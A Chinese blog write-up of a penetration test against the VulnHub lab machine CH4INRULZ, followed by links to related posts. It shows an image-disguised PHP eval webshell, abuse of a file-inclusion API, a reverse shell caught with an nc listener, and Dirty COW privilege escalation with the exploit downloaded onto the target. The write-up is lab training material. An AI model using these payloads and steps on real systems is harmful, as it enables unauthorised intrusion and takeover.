靶机CH4INRULZ_v1.0.1
nmap开路。
root@kali:~# nmap -sP 192.168.1.*
//拿到靶机地址192.168.1.8
root@kali:~# nmap -p- -sS -v -sV 192.168.1.8
开放了四个端口,21号ftp端口,22号ssh端口,80和8011两个Web端口,在80端口下有一个个人简历的网站。

对80端口这个站用DirBuster进行目录扫描,访问developent目录需要账号密码,保留爆破的想法

接着用dirsearch扫文件,拿到一个index.html.bak备份文件。内容如下:
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0这一段是账号密码。

用John the Ripper破解到密码是frank!!!

账号密码登录
* Here is my unfinished tools list
- the uploader tool (finished but need security review)
//翻译:
*这是我未完成的工具清单
-上传器工具(已完成,但需要进行安全审查)
提示存在一个上传器工具

访问
http://192.168.1.8/development/uploader/
进入到上传器页面。

前面说了需要进行安全审查,那么应该是对我们上传的文件进行了过滤。直接上传php木马文件,看看允许哪些格式可以上传。
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.
服务器会对文件后缀检查,加个图片头改成.gif格式可以上传
GIF89a
<script language="php">
echo eval($_POST[shell]);
phpinfo();
</script>
但是没有给到图片传到到服务器的路径。

到这好像就没有思路了。抓包改成php后缀不行,传木马图片但是没给解析路径连蚁剑。回顾一下前面的信息收集的过程,拿到了21,22,80,8011四个端口和80端口下扫出来的一些路径,接着对8011端口进行信息搜集。

dirbuster扫目录的时候拿到一个200状态码的api目录,访问一波

给了四个文件,只有files_api.php可以访问

No parameter called file passed to me
* Note : this API don't use json , so send the file name in raw format
没有名为file的参数传递给我
*注意:此API不使用json,因此以原始格式发送文件名
提示传个file参数。get传参提示WRONG INPUT !!。改用post传参直接显示我们要读取的文件。

从这个地方我们可以知道大概的思路就是找到我们上传的路径然后文件包含反弹一个shell。这里找文件上传的路径用到了apache的配置文件,自己又孤陋寡闻了,大师傅基础好扎实。
/etc/apache2/sites-enabled/000-default

结合php伪协议读取uploader.php里面的内容。

base64解密
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
这里可以看到是检查我们上传文件的源码,最重要的还是
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
那么我们上传的文件在FRANKuploads/下

那么我们再利用8011端口的文件包含漏洞去读取我们的木马图片看能否解析,包含成功

下面我们考虑怎么弹个shell回来。这里我们用到了kali里面自带的php-reverse-shell.php文件。路径是
/usr/share/webshells/php/php-reverse-shell.php
将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改成gif后缀上传

nc监听6666端口
nc -lvnp 6666
同时文件包含访问我们刚刚上传的那个用来反弹shell的文件。

成功拿到shell,

下面开始提权。查看内核版本

版本比较老,直接使用脏牛提权。将40838文件复制到当前目录
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/40839.c ~
接着利用python开启一个简单的HTTP服务。
kali@kali:~$ python -m SimpleHTTPServer 8848
让靶机从kali上下载40839.cpp文件,但是提示不能写入,权限不够

查看各个目录的权限

我们将40839.cpp下载到/tmp目录下

编译执行,拿到用户名firefart输入新密码

提示密码修改成功

进入/root目录拿到flag。

总结
这是做的第四个靶机,对渗透测试的流程:信息收集-发现漏洞-漏洞利用-提权的感受更加的深刻。
先说信息收集和发现漏洞:nmap开路拿到四个端口,80和8011开放了Web服务,之后在扫80端口的目录时发现/development状态码是401需要密码认证,接着扫文件发现index.html.bak利用john爆破拿到账号密码,之后就是一个文件上传的功能,还是扫8011端口的目录发现文件包含漏洞。两者结合。其实重点在如何找到文件上传的路径。利用php伪协议拿到uploader.php的源码,上传的文件路径就明了了。
再说漏洞利用:这个靶机是利用文件上传配合文件包含漏洞来反弹一个shell的。知道了kali自带了一些反弹shell的脚本。
提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。
学到了哪些?
1、john的使用
2、利用kali自带脚本反弹shell
靶机CH4INRULZ_v1.0.1的更多相关文章
- 靶场渗透CH4INRULZ_v1.0.1
最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...
- 靶场vulnhub-CH4INRULZ_v1.0.1通关
1.CH4INRULZ_v1.0.1靶场通关 ch4inrulz是vulnhub下的基于Linux的一个靶场,作为练习之用 目的:通过各种手段,获取到靶机内的flag的内容 2.环境搭建: 攻击机 K ...
- MSF渗透测试-CVE-2017-11882(MSOffice漏洞)
1.测试环境 2.测试前准备 3.测试过程 -3.1虚拟机环境测试 -3.2局域网靶机测试 4.测试感想 1.测试环境 攻击机: OS:kail IP:192.168.15.132/192.168.1 ...
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- kali渗透综合靶机(十五)--Breach-1.0靶机
kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...
- kali渗透综合靶机(十三)--Dina 1.0靶机
kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...
随机推荐
- 【原创】Ingress-Nginx-Controller的Metrics监控源码改造简析
一.背景 目前我们的生产环境一层Nginx已经容器化部署,但是监控并不完善,我们期望其具有Ingress-Nginx-Controller组件上报监控的数据.这样可以建立请求全链路的监控大盘.有利于监 ...
- 流程自动化RPA,Power Automate Desktop系列 - 发布文档中心
一.背景 内网中有一个基于VuePress搭建的静态文档中心,但是每次修改后都需要重新Build一次才行,之前都是手动执行命令,现在可以基于Power Automate Desktop来创建任务了. ...
- 集合类线程安全吗?ConcurrentModification异常遇到过吗?如何解决?
集合类不安全的问题 1. ArrayList的线程不安全问题 1.1 首先回顾ArrayList底层 ArrayList的底层数据结构是数组 底层是一个Object[] elementData的数组, ...
- .NET Core 对象池的使用
昨天在『.NET 大牛之路』技术群和大家聊到了对象池的话题,今天展开详细讲讲这个知识点. 池这个概念大家都很熟悉,比如我们经常听到数据库连接池和线程池.它是一种基于使用预先分配资源集合的性能优化思想. ...
- RabbitMq脑裂问题
现象 部署在阿里云上的2台RabbitMQ主从,访问management页面时出现如下所示的内容: 查看其中一个mq的日志,发现如下内容: 00:06:32.423 [warning] <0.5 ...
- IDEA中Springboot启动热部署
在IDEA中开发springboot项目时,每次修改代码后都需要手动重启项目比较麻烦,可以通过添加一定的配置使每次修改代码后项目进行自动重启 在IDEA中开发springboot项目时,每次修改代码后 ...
- 深入理解 PHP7 中全新的 zval 容器和引用计数机制
深入理解 PHP7 中全新的 zval 容器和引用计数机制 最近在查阅 PHP7 垃圾回收的资料的时候,网上的一些代码示例在本地环境下运行时出现了不同的结果,使我一度非常迷惑. 仔细一想不难发现问题所 ...
- ctf实验吧天网管理系统
这明显不可能登上的,所以直接看源代码 这里如果不懂得,php中处理哈希值的方式,是只要是0e开头的哈希值,都认为是0,通过输入一个这样的0e开头的字符串,会被php解释成0. 这个可以去在线工具上得到 ...
- Exception 和Error异常大部分人都犯过的错。
先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员. 我有什么:职场规划指导,技能提升方法,讲不完的职场故事,个人成长经验. 1,简介 Exception ...
- Android单元测试问题解决
1.'java.lang.RuntimeException: Method isEmpty in android.text.TextUtils not mocked'报错 https://www.ji ...